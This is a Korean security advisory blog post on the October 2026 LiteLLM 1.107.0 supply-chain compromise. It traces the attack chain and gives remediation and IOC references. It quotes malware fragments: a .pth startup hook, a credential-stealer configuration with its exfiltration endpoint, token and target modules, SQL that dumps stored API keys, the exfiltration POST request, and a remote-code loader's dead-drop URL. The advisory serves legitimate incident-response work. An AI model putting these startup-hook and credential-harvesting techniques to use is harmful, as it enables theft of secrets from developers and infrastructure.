1. 개요
- 26.10.21 LiteLLM의 PyPI 배포본 1.107.0에서 인증 정보를 탈취하고 원격 코드 실행 백도어 발견
- LiteLLM을 직접 불러오지 않아도 Python 시작 시 악성코드 실행되어 인증 정보를 탈취하고 외부 서버로 전송
- PyPI는 1.107.0 버전을 삭제하였으며, 인증정보 노출 가능성을 전제로 모든 인증정보를 교체하는 등의 조치 필요
2. 상세내용
- LiteLLM이 공개한 영향 범위 배포 경로별 정리
| 구분 | 영향 대상 | 노출 시간 (한국 시간 기준) |
| PyPI | - LiteLLM 1.107.0 (wheel 파일 7종) > pypi/litellm@1.107.0?artifact_id=cp310-abi3-macosx-10-12-x86-64-whl > pypi/litellm@1.107.0?artifact_id=cp310-abi3-macosx-11-0-arm64-whl > pypi/litellm@1.107.0?artifact_id=cp310-abi3-manylinux-2-28-aarch64-whl > pypi/litellm@1.107.0?artifact_id=cp310-abi3-manylinux-2-28-x86-64-whl > pypi/litellm@1.107.0?artifact_id=cp310-abi3-musllinux-1-2-aarch64-whl > pypi/litellm@1.107.0?artifact_id=cp310-abi3-musllinux-1-2-x86-64-whl > pypi/litellm@1.107.0?artifact_id=cp310-abi3-win-amd64-whl |
20:39 ~ 22:23 |
| Docker Hub | - V1.107.0, latest, main-latest, main-stable 태그 > sha256:1bbcb1443bc962e45f5aad53fe3d2c30600e0379715fb6c664cdd3ac126c339e |
20:46 ~ 23:20 |
| GHCR | - V1.107.0, latest, main-latest, main-stable 태그 > ghcr.io/berriai/litellm: sha256:1bbcb1443bc9… > ghcr.io/berriai/litellm-database: sha256:c00f9d92c427… > ghcr.io/berriai/litellm-non_root: sha256:7b00e91cd2fe… |
20:46 ~ 22:51 |
2.1 공격 체인
① 관리자 키 노출
- LiteLLM Agent Platform 관리자 키(LAP 키)가 포함된 opencode.json이 공개 저장소 LiteLLM-Labs/lite-harness 에 커밋
② GitHub OAuth Token 및 CI Secret 탈취
- 공격자가 노출된 LAP 키를 이용해 Agent Platform API 연속 호출
> GET /api/v1/managed_agents/agents?limit=100
> 응답에 포함된 GitHub 조직 소유자 2명 중 1명의 GitHub CLI OAuth 토큰 탈취
- 탈취한 조직 소유자 토큰으로 BerriAI/litellm 및 BerriAI/litellm-auto 저장소에서 임시 Workflow 생성
> GH_TOKEN, RELEASE_PLEASE_TOKEN 등 인증정보 외부 전송 및 Workflow 실행 기록 삭제
> GH_TOKEN에는 두 번째 Maintainer의 GitHub CLI OAuth 토큰이 포함
> RELEASE_PLEASE_TOKEN에는 세 번째 Maintainer의 GitHub CLI OAuth 토큰이 포함
- 추가 비공개 저장소에서 Workflow 실행
> Repository Secret 및 기타 인증정보를 동일한 외부 엔드포인트로 전송
③ 릴리스 파이프라인 변조 및 악성 패키지 배포
- BerriAI/project-releaser 저장소의 릴리스 Workflow를 수정하는 커밋 9cf97e9 작성
> source_owner 입력을 추가하여 공격자 Fork 저장소를 빌드 소스로 지정
> Branch Protection에 의해 최초 Push가 거부
> 조직 소유자 OAuth Token으로 Branch Protection을 우회하여 변경 사항 반영
- 공격자 조직 Berri-AI/litellm의 커밋 20535d8f를 소스로 Staging 및 Production Workflow 실행
> 두 번째 Maintainer Token으로 Production Gate 승인
> 악성 litellm==1.107.0 Wheel 7개를 PyPI에 배포, Docker Hub 및 GHCR에 악성 컨테이너 이미지 게시
④ 공격 흔적 제거 및 은폐
- 탈취한 Maintainer Token으로 Production 및 Staging Workflow 실행 기록 삭제
- Revert 커밋 285fbdc5를 Push하여 악성 Workflow 변경 사항 되돌리기 시도
- Force Push를 통해 main 브랜치를 이전 커밋 d687b69로 복구
> 공개 Git 이력에서 악성 변경 및 Revert 커밋 제거
⑤ 침해대응 시작
- LiteLLM 공식 침해 대응 시작 및 PyPI 악성 패키지 격리
- GHCR 및 Docker Hub 악성 이미지 태그 제거 또는 무효화
- 릴리스 Workflow 침해 확인 후 GitHub 권한 회수
- 공식 침해 공지 게시 및 근본 원인 분석 보고서 공개
2.2 악성 패키지 실행 및 정보 탈취
- 악성 파일 구성 및 역할
| 파일 | 역할 |
| cook.pth | import cook를 실행하여 cook.py 호출 |
| cook.py | Base64 디코딩 및 Zlib 압축 해제 후 정보 수집 코드 실행 |
| sitecustomize.py | 별도의 백그라운드 로더를 실행하고 원격 코드 다운로드 및 실행 시도 |
- pyproject.toml 파일에 "data=cook" 설정을 추가해 cook/ 폴더를 wheel 파일 내의 `litellm-1.107.0.data/purelib/` 경로로 복사
> 이후 `pip`을 통해 설치하면 해당 폴더가 `site-packages` 디렉토리로 복사
[tool.maturin]
...
python-source = "."
data = "cook" # <-- injected
python-packages = ["litellm_cli"] # legitimate (present upstream)
① cook.pth
- Python이 실행될 때 `site-packages` 디렉토리에 있는 `.pth` 파일 내에서 `import`로 시작하는 모든 줄을 실행
> cook.pth 파일에는 import cook이 포함되어 있어, cook.py를 호출
> 따라서, LiteLLM을 직접 불러오지 않아도 Python 시작 시 악성코드가 자동 실행
import cook
② cook.py
- 실제 정보 수집 코드가 Base64 및 Zlib 압축 형태로 작성되어 있음

PC_URL = 'http://www.litellm.dev/healthcheck'
PC_TOKEN = 'XWiA8gZNa7NcX2XRoAEb' # sent as X-Token header
PC_PUBKEY = '-----BEGIN PUBLIC KEY----- MIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEAvxRBQMVXDXVskKS47haU ...' # RSA-4096
PC_ONCE_PATH = '/tmp/.pc_once_72129118c59f5636c0bb'
PC_ASYNC = True # runs in a daemon thread
PC_MODULES = ['sysinfo','netinfo','browser_pw','browser_hist','ssh_keys',
'shell_hist','cloud_creds','dev_secrets','container_creds',
'cicd_secrets','ai_devtools','env_vars','db_litellm',
'cloud_metadata','gpg_keys','tls_privkey']
- 수집된 데이터는 JSON 형태로 직렬화되어 AES-256-CBC 키로 암호화 및 AES 키는 내장된 RSA 공개 키를 이용해 OAEP 방으로 암호화
| 모듈 | 수집 대상 |
| sysinfo, netinfo | 호스트 이름, 사용자 정보, 운영체제, IP 주소 및 네트워크 설정 |
| browser_pw | Chromium에 저장된 비밀번호(프로필 마스터 키(Windows의 경우 DPAPI)를 사용하여 복호화), Firefox의 logins.json 및 key4.db |
| browser_hist | 웹 브라우저 방문 기록 |
| ssh_keys | ~/.ssh/* 경로의 SSH 키 관련 파일 |
| shell_hist | Bash 및 Zsh 명령 기록, PowerShell PSReadLine, CMD 명령 기록 |
| cloud_creds | ~/.aws/credentials 및 ~/.aws/config, Azure 프로필 및 토큰, GCloud 인증정보, ~/.kube/config, ~/.docker/config.json, gh hosts.yml, rclone.conf, ~/.netrc |
| dev_secrets | $HOME 하위의 .pem, .key, .pfx, .p12, .pk8, .ppk 파일, Composer auth.json, FileZilla에 저장된 서버 접속정보 |
| container_creds | Kubernetes 서비스 계정 토큰 |
| cicd_secrets | GitLab Runner의 config.toml, Jenkins의 initialAdminPassword 및 master.key, .vault-token, Terraform의 credentials.tfrc.json, Packer 설정 파일 |
| ai_devtools | AI 개발 도구 관련 인증정보 > Claude Code, Claude Desktop, Cursor, Windsurf, Copilot, VS Code의 mcp.json, Gemini CLI, Codex의 auth.json, Continue, Aider, Goose, OpenCode, Qwen, Crush, Kiro, Zed, Hugging Face 토큰 등 |
| env_vars | 자체 환경 변수 및 /proc/<pid>/environ을 통한 다른 프로세스의 환경 변수 |
| db_litellm | DATABASE_URL을 읽고 LiteLLM의 LiteLLM_CredentialsTable 및 LiteLLM_ProxyModelTable 테이블 덤프 (해당 테이블에는 LiteLLM Proxy의 LLM 공급자 API 키가 저장되어 있음) |
| cloud_metadata | AWS 인스턴스 메타데이터 서비스(IMDSv2, 이후 v1): 인스턴스 식별정보 및 역할 인증정보 |
| gpg_keys, tls_privkey | GPG 키, TLS 개인키 |
- 특정 모듈은 DATABASE_URL이 구성된 LiteLLM 배포 환경을 대상으로 SQL 쿼리를 실행
SELECT "credential_name", "credential_values"
FROM "LiteLLM_CredentialsTable" LIMIT 500; -- LLM 공급자 API Key 등 저장된 인증정보
SELECT "model_name", "litellm_params"
FROM "LiteLLM_ProxyModelTable" LIMIT 500; -- 모델 이름 및 공급자 연결 설정 정보
- 고정 헤더 X-Token: XWiA8gZNa7NcX2XRoAEb를 포함하여 'www.litellm[.]dev/healthcheck`로 POST 요청 전송
> hdr.json (암호화 관련 메타데이터, 대상 및 시간 정보)
> data.bin (IV 및 AES로 암호화된 수집 데이터)
> key.bin (RSA 공개키로 암호화된 AES 키)
> 업로드 성공 시 /tmp/.pc_once_72129118c59f5636c0bb 파일을 생성해 호스트당 한 번만 데이터를 수집
> 또한, PRIVCOLLECT_ACTIVE=1을 설정하여 동일한 프로세스에서 중복 실행되는 것을 방지
POST /healthcheck HTTP/1.1
Host: www.litellm.dev
Content-Type: application/octet-stream
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0)
X-SHA256: <SHA-256 of encrypted tar body>
X-Token: XWiA8gZNa7NcX2XRoAEb
③ sitecustomize.py
- Python 시작 시 자동으로 가져오는 sitecustomize를 이용해 백도어 실행 및 원격 코드 다운로드·실행 시도
> 1시간 간격으로 공격자의 GitHub 저장소에서 domain.txt 파일을 조회해 C2 주소를 받아옴
> 확보한 C2에 /codepy 경로를 추가하여 Python 코드 요청 및 실행 결과 반환
> /tmp/remote_code_loader.lock을 이용해 동일 호스트에서 중복 실행 방지
GITHUB_RAW_URL = "https://raw.githubusercontent.com/letters9813/pythonclient-test/main/domain.txt"
CODE_PATH = "/codepy"
LOOP_INTERVAL = 3600
LOCK_FILE = "/tmp/remote_code_loader.lock"

3. 대응방안
| 구분 | 대응방안 |
| 영향 범위 확인 | - litellm==1.107.0 설치 이력 및 영향을 받은 Docker 이미지 사용 여부 확인 - pip, uv, Poetry 등 패키지 관리 도구의 설치 이력과 캐시, 내부 패키지 저장소 확인 - 개발자 PC, CI/CD Runner, 빌드 서버, 운영 컨테이너 등 Python 실행 환경 전수 점검 |
| 시스템 격리 | - 악성 패키지가 설치된 시스템 및 컨테이너 격리 - 감염 의심 환경에서 Python 및 pip 실행을 제한하여 악성 코드 재실행 방지 - 침해 조사에 필요한 로그 및 증거를 보존한 후 복구 진행 |
| 악성 파일 제거 | - cook.pth, cook.py, sitecustomize.py 및 관련 .pyc 파일 확인 및 제거 - /tmp/.pc_once_72129118c59f5636c0bb, /tmp/remote_code_loader.lock 등 악성 실행 흔적 조사 - 분리된 백그라운드 Python 프로세스 및 원격 코드 로더 종료 ※ 침해지표 참고 [1]~[8] |
| 환경 재구축 | - 영향을 받은 가상환경 및 컨테이너 이미지 폐기 후 신뢰할 수 있는 환경으로 재구축 - 검증된 LiteLLM 버전 및 패키지로 재설치 - 패키지 설치 후 악성 파일 재생성 여부 및 Python Startup Hook 점검 |
| 인증정보 교체 | - OpenAI, Anthropic 등 LLM Provider API Key 폐기 및 재발급 - LiteLLM Proxy Master Key, Virtual Key 및 데이터베이스 인증정보 교체 - AWS, Azure, GCP 등 클라우드 인증정보 및 IAM 역할 자격 증명 교체 - GitHub OAuth Token, PAT, Repository Secret 및 CI/CD 인증정보 교체 - SSH, GPG, TLS 개인키 및 Vault Token 등 노출 가능 인증정보 교체 - 브라우저, AI 개발 도구 및 기타 서비스의 인증정보와 세션 폐기 |
| 네트워크 및 클라우드 조사 | - litellm.dev, GitHub Dead Drop, /codepy 등 악성 통신 IOC에 대한 DNS 및 네트워크 로그 확인 - AWS CloudTrail을 통해 탈취된 IAM 인증정보의 외부 사용 및 비정상 API 호출 조사 - AWS Instance Metadata Service 접근 이력 및 역할 인증정보 악용 여부 확인 - 외부 통신 로그를 분석하여 정보 유출 및 추가 악성 코드 다운로드 여부 확인 |
| CI/CD 보안 강화 | - 릴리스 Workflow의 소스 저장소, Owner 및 Commit SHA 검증 - Branch Protection 및 관리자 권한 우회 방지 - GitHub Token 및 CI/CD Secret에 최소 권한 적용 - 빌드 과정에서 불필요한 Secret 제공 제한 및 외부 통신 제어 - 임시 Workflow, 브랜치 생성 및 실행 기록 삭제 등 비정상 행위 탐지 |
| 공급망 무결성 검증 | - 배포 패키지와 검토된 소스 코드 간 무결성 검증 - 빌드 Provenance 및 출처 정보 검증 - 컨테이너 이미지 서명 및 Digest 기반 배포 적용 - 패키지 및 이미지의 버전·해시 검증을 통한 악성 배포물 설치 차단 |
| 모니터링 | - 악성 파일 해시 및 IOC 기반 탐지 규칙 적용 - 비정상 Python Startup Hook 및 백그라운드 프로세스 탐지 - 외부 Webhook으로 Secret 전송, 비정상 클라우드 API 호출 등 행위 모니터링 - 패키지 업데이트 및 CI/CD 릴리스 과정에 대한 지속적인 보안 점검 |
4. 참고
[1] https://docs.litellm.ai/blog/security-incident-oct-21-2026#overview
[2] https://docs.litellm.ai/blog/security-incident-oct-21-2026-attack-chain
[3] https://socket.dev/blog/litellm-compromise
[4] https://safedep.io/blog/litellm-pypi-compromise-credential-stealer-backdoor
[5] https://www.microsoft.com/en-us/security/blog/2026/10/23/inside-the-litellm-1-107-0-supply-chain-compromise-credential-theft-through-python-startup-hooks/
[6] https://opensourcemalware.com/blog/litellm-1-107-0-pypi-wheel-contains-a-credential-stealer-and-persistent-python-backdoor
[7] https://www.skshieldus.com/security-insights/trends/daily-litellm-1-107-0-supply-chain-compromise
[8] https://news.hada.io/topic?id=35767
[9] https://www.boannews.com/news/articleView.html?idxno=146624
'취약점 > Supply-Chain Attack' 카테고리의 다른 글
| Rust Crate 공급망 공격 (CVE-2026-77649, CVE-2026-77650, CVE-2026-77651) (0) | 2026.09.07 |
|---|---|
| Checkmarx 및 Bitwarden CLI 공급망 공격 (0) | 2026.04.26 |
| Axios 공급망 공격 (0) | 2026.04.01 |
| LiteLLM 1.82.7 및 1.82.8 PyPI 패키지 공급망 공격 (0) | 2026.03.28 |
| Trivy 공급망 공격 (CVE-2026-33634) (0) | 2026.03.25 |















